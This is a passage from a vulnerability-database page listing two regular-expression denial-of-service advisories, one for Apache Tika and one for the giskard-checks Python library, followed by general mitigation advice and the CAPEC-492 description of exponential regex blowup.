"details": "In Apache Tika, a regular expression in our StandardsText class, used by the StandardsExtractingContentHandler could lead to a denial of service caused by backtracking on a specially crafted file. This only affects users who are running the StandardsExtractingContentHandler, which is a non-standard handler.\n\nThis was originally fixed in 1.28.2 and 2.4.0. While the fix in version 2.4.0 was complete, the fix for the 1.x branch wasn\u0027t incorporated until version 1.28.3. Please see GHSA-qw3f-w4pf-jh5f for more information.",
"id": "GHSA-rpjm-422r-95mh",
"modified": "2025-09-02T22:23:08Z",
"published": "2022-05-17T00:00:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30126"
},
{
"type": "WEB",
"url": "https://github.com/apache/tika/commit/83b0de4d60161ebd4bc224141a959ac8c18d95f4"
},
{
"type": "WEB",
"url": "https://github.com/apache/tika/commit/a36711610fa1f6f5ba0f594803415af795e0b265"
},
{
"type": "WEB",
"url": "https://github.com/apache/tika/commit/e76302196ebcafb7b51fce37fbe8256e6c0fbc51"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-qw3f-w4pf-jh5f"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/tika"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/dh3syg68nxogbmlg13srd6gjn3h2z6r4"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20220624-0004"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2022.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/05/16/3"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/05/31/2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/06/27/5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Regular expression denial of service in apache tika"
}
GHSA-RQ2Q-4R55-9877
Vulnerability from github β Published: 2026-04-14 23:13 β Updated: 2026-04-27 15:02Summary
The RegexMatching check in the giskard-checks package passes a user-supplied regular expression pattern directly to Python's re.search() without any timeout, complexity guard, or pattern validation. An attacker who can control the regex pattern or the text being matched can craft inputs that trigger catastrophic backtracking in the regex engine, causing the process to hang indefinitely and denying service to all other operations.
giskard-checks is a local developer testing library. Check definitions, including the pattern parameter, are provided in application code or configuration files and executed locally. Exploitation requires write access to a check definition and subsequent execution of the test suite. The absence of a regex timeout could cause availability issues in automated environments such as CI/CD pipelines.
Affected component
text_matching.py, line 457: re.search(pattern, text)
Remediation
Upgrade to giskard-checks >= 1.0.2b1.
Credit
Giskard-AI thanks @dhabaleshwar for identifying the missing timeout on regex evaluation.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.1b1"
},
"package": {
"ecosystem": "PyPI",
"name": "giskard-checks"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.2b1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40319"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T23:13:39Z",
"nvd_published_at": "2026-04-17T18:16:32Z",
"severity": "LOW"
},
"details": "## Summary\nThe RegexMatching check in the `giskard-checks` package passes a user-supplied regular expression pattern directly to Python\u0027s re.search() without any timeout, complexity guard, or pattern validation. An attacker who can control the regex pattern or the text being matched can craft inputs that trigger catastrophic backtracking in the regex engine, causing the process to hang indefinitely and denying service to all other operations. \n\n`giskard-checks` is a local developer testing library. Check definitions, including the pattern parameter, are provided in application code or configuration files and executed locally. Exploitation requires write access to a check definition and subsequent execution of the test suite. The absence of a regex timeout could cause availability issues in automated environments such as CI/CD pipelines.\n\n## Affected component\n \n`text_matching.py`, line 457: `re.search(pattern, text)`\n \n## Remediation\n \nUpgrade to `giskard-checks` \u003e= 1.0.2b1.\n \n## Credit\n \nGiskard-AI thanks @dhabaleshwar for identifying the missing timeout on regex evaluation.",
"id": "GHSA-rq2q-4r55-9877",
"modified": "2026-04-27T15:02:29Z",
"published": "2026-04-14T23:13:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Giskard-AI/giskard-oss/security/advisories/GHSA-rq2q-4r55-9877"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40319"
},
{
"type": "PACKAGE",
"url": "https://github.com/Giskard-AI/giskard-oss"
},
{
"type": "WEB",
"url": "https://github.com/Giskard-AI/giskard-oss/releases/tag/giskard-checks%2Fv1.0.2b1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Giskard has a Regular Expression Denial of Service (ReDoS) in RegexMatching Check"
}
Mitigation
Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
Mitigation
Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
Mitigation
Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
Mitigation
Limit the length of the input that the regular expression will process.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.